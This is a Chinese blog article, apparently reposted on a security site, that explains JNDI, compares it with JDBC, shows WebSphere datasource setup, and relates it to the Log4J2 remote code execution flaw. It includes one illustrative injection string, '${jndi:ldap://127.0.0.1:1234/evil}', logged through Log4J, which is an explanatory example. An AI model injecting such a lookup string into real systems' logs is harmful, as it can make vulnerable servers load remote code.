引发Log4J2远程代码执行漏洞的JNDI到底是啥?

admin 2022年3月30日19:25:54评论83 views字数 3938阅读13分7秒阅读模式

在网上的问题栏目有小伙伴在问为什么Log4J要提供对JNDI的支持,默认支持这种小众特性,反而导致了问题,是造成全网程序员加班修复漏洞的罪魁祸首,看到这个问题下各种吐槽JNDI,JNDI太冤了,我想为它正名下,其实JNDI在大型项目中广泛使用,请看下文。

引发Log4J2远程代码执行漏洞的JNDI到底是啥?



引发Log4J2远程代码执行漏洞的JNDI到底是啥?


引发Log4J2远程代码执行漏洞的JNDI到底是啥?

那么,JNDI真的是罪魁祸首吗?JNDI是干什么?

听我道来。

此次漏洞的锅并不能扣在JNDI上,它只是定义了一套规范,具体实现是各个厂商实现的。

JNDI最最核心的目的:是为了解耦!是为了开发出更加可维护、可扩展的系统。它不是一个小众特性,很有历史渊源,是当年Sun制定的规范。

JNDI是 Java 命名与目录接口(Java Naming and Directory Interface),在J2EE规范中是重要的规范之一,不少专家认为,没有透彻理解JNDI的意义和作用,就没有真正掌握J2EE知识。


那么,JNDI到底起什么作用?
要了解JNDI的作用,我们可以从“如果不用JNDI我们怎样做?用了JNDI后我们将怎样做?”这个问题来探讨。

鉴于很多人不知道JNDI,JDBC应该熟悉,那这里我们拿JNDI和JDBC来作比较,因为他们的作用类似,而且JNDI很多时候用在数据源的获取上:
JDBC(Java Data Base Connectivity,Java 数据库连接)是一种用于执行SQL语句的Java API,可以为多种关系数据库提供统一访问,它由一组用Java语言编写的类和接口组成。JDBC为工具/数据库开发人员提供了一个标准的API,据此可以构建更高级的工具和接口,使数据库开发人员能够用纯 Java API 编写数据库应用程序。

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


那我们看看,没有JNDI时的做法:
程序员开发时,要开发访问MySQL数据库的应用,这里我们不用持久层框架(如MyBatis),我们根据JDBC URL,使用MySQL JDBC驱动包创建到数据库(注:这里为了演示底层代码,没有使用连接池)。
底层数据库连接创建代码大概是这样的:


Connection conn=null;try {       Class.forName("com.mysql.jdbc.Driver", true, Thread.currentThread().getContextClassLoader());       conn=DriverManager.getConnection("jdbc:mysql://localhost:3306/mydatabase?user=username&password=password");       ......       conn.close();} catch(Exception e) {       e.printStackTrace();} finally {    if(conn!=null) {         try {            conn.close();         } catch(SQLException e) {}     }}


这种做法一般在小规模的开发过程中不会产生问题,只要程序员熟悉Java语言、了解JDBC技术和MySQL,可以很快开发出相应的应用程序。

没有JNDI的做法存在的问题:
1、数据库服务器名称mydatabase、用户名和口令都可能需要改变,由此引发JDBC URL需要修改;
2、数据库可能改用别的产品,如改用DB2或者Oracle,引发JDBC驱动程序包和类名需要修改;
3、随着实际使用终端的增加,原配置的连接池参数可能需要调整;


解决办法:

程序员应该不需要关心“具体的数据库是什么?“、“JDBC驱动程序是什么?”、“JDBC URL格式是什么?”、“访问数据库的用户名和口令是什么?”、“连接池参数是什么?”等等这些问题,程序员编写的程序应该没有对 JDBC 驱动程序的引用,没有服务器名称,没有用户名称或口令,甚至没有数据库池或连接管理。而是把这些问题交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。


由此,就有了JNDI。
可以看到,这样的设计是为了解耦,避免程序对具体数据库的依赖,开发出更加可维护、可扩展的系统。


用了JNDI之后的做法:
首先,在在J2EE容器中配置JNDI参数,定义一个数据源,也就是JDBC引用参数,给这个数据源设置一个名称,然后,在程序中通过数据源名称引用数据源从而访问后台数据库。
在定义JNDI,例如获得数据源时,JNDI地址有两种写法,例如同是 jdbc/testDB 数据源:
A:java:comp/env/jdbc/testDB
B:jdbc/testDB

这两种写法,配置的方式也不尽相同,第一种方法应该算是一种利于程序移植或迁移的方法,它的实现与“映射”的概念相 同,而B方法,则是一个硬引用。java:comp/env 是环境命名上下文(environment naming context(ENC)),引入这个是为了解决原来JNDI查找所引起的冲突问题,也是为了提高J2EE应用的移植性。
假如你需要获取datasource,就可以通过lookup方法获取到数据源:
dataSource = (DataSource) ctx.lookup("java:comp/env/jdbc/testDB");


JNDI在中间件中大量使用,由于互联网企业中间件用得少,导致不少小伙伴对JNDI很陌生。


中间件现在用得最多的是JBOSS的WebLogic和IBM的WebSphere,这些中间件中大量使用了JNDI,用JNDI不光是为了解耦,还有是为了安全,开发人员不需要接触密码等敏感信息,只需要知道JNDI名就行了。


可能有小伙伴问WebLogic、WebSphere是什么,用的多吗,这些中间件主要用在大型集团、金融、银行、保险等行业,这些企业注重服务的稳定性可靠性以及相关的技术服务,这几年热门的互联网行业用的比较少,一般用免费的tomcat。


这里拿IBM的WebSphere来配置下JNDI,让你大致了解JNDI是怎么用的。
首先在WebSphere控制台中创建JNDI,填入JNDI名称:

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


然后创建JDBC数据源(这个数据源会挂在第1步的JNDI名下):

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


引发Log4J2远程代码执行漏洞的JNDI到底是啥?


接着输入数据库URL:

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


绑定JNDI和JDBC后(这里省略了设置密码的环节),JNDI数据源就创建成功了。

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


然后选择WEB应用下的Web-INF文件夹下的web.xml,在其中添加JNDI名字,如下图:

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


最后将Web应用部署到WebSphere服务器上。


你有客户端工具的话,可以填入JNDI名字测试数据库是否连接成功:

引发Log4J2远程代码执行漏洞的JNDI到底是啥?


代码当中你只需要知道JNDI名字就可以获取到datasource,而无需关心数据库的URL、用户名、密码等信息:

dataSource = (DataSource) ctx.lookup("jdbc/TestDB");


说了这么多,又是JDBC,又是WebSphere的,你会说这跟Log4J有什么关系,其实他们的原理是一模一样的,Log4J也是用了JNDI的lookup去查找资源,比如下面的代码,Log4J发现打印的字符串中有${,并且里面是JNDI资源,就会发起请求(lookup)加载资源,但由于Log4J旧版本有漏洞,导致了远程代码执行漏洞。

import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;
public class Test {    private static final Logger logger = LogManager.getLogger(Test.class);
public static void main(String[] args) { String str = "${jndi:ldap://127.0.0.1:1234/evil}"; logger.error("params:{}",str); }}


至此,你是否掌握了JNDI知识了呢,它的设计思路其实蛮好的,只不过Log4J2没有掌握好,产生了漏洞。


最后,总结下:

JNDI 就是一个别名,为每个资源取一个别名,不需要知道这个别名背后的配置细节是什么,说白了就是解耦,符合依赖倒置设计原则。

在J2EE中,JNDI 是把J2EE应用程序合在一起的粘合剂,JNDI 提供的间接寻址允许跨企业交付可伸缩的、功能强大且很灵活的应用程序。


最后的最后,对JNDI归纳如下:

1、JNDI 提出的目的是为了解耦,是为了开发更加容易维护,容易扩展,容易部署的应用。

2、JNDI 是一个Sun提出的一个规范(类似于JDBC),具体的实现是各个厂商实现的,可以看出,老外还是非常认可这个规范,很多地方做了很多解耦的设计,包括Log4J。

3、JNDI 在J2EE系统中的角色是“交换机”,是J2EE组件在运行时间接地查找其他组件、资源或服务的通用机制。

4、JNDI 是通过资源的名字来查找的,资源的名字在整个J2EE应用中是唯一的。


引发Log4J2远程代码执行漏洞的JNDI到底是啥?


推荐文章:

关注研磨架构,回复面试,领取大厂面经资料。

关注研磨架构,回复log,获取最新Log4J远程代码执行漏洞解决方案。

引发Log4J2远程代码执行漏洞的JNDI到底是啥?   


我的微信:

引发Log4J2远程代码执行漏洞的JNDI到底是啥?

原文始发于微信公众号(研磨架构):引发Log4J2远程代码执行漏洞的JNDI到底是啥?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月30日19:25:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   引发Log4J2远程代码执行漏洞的JNDI到底是啥?https://cn-sec.com/archives/854522.html

发表评论

匿名网友 填写信息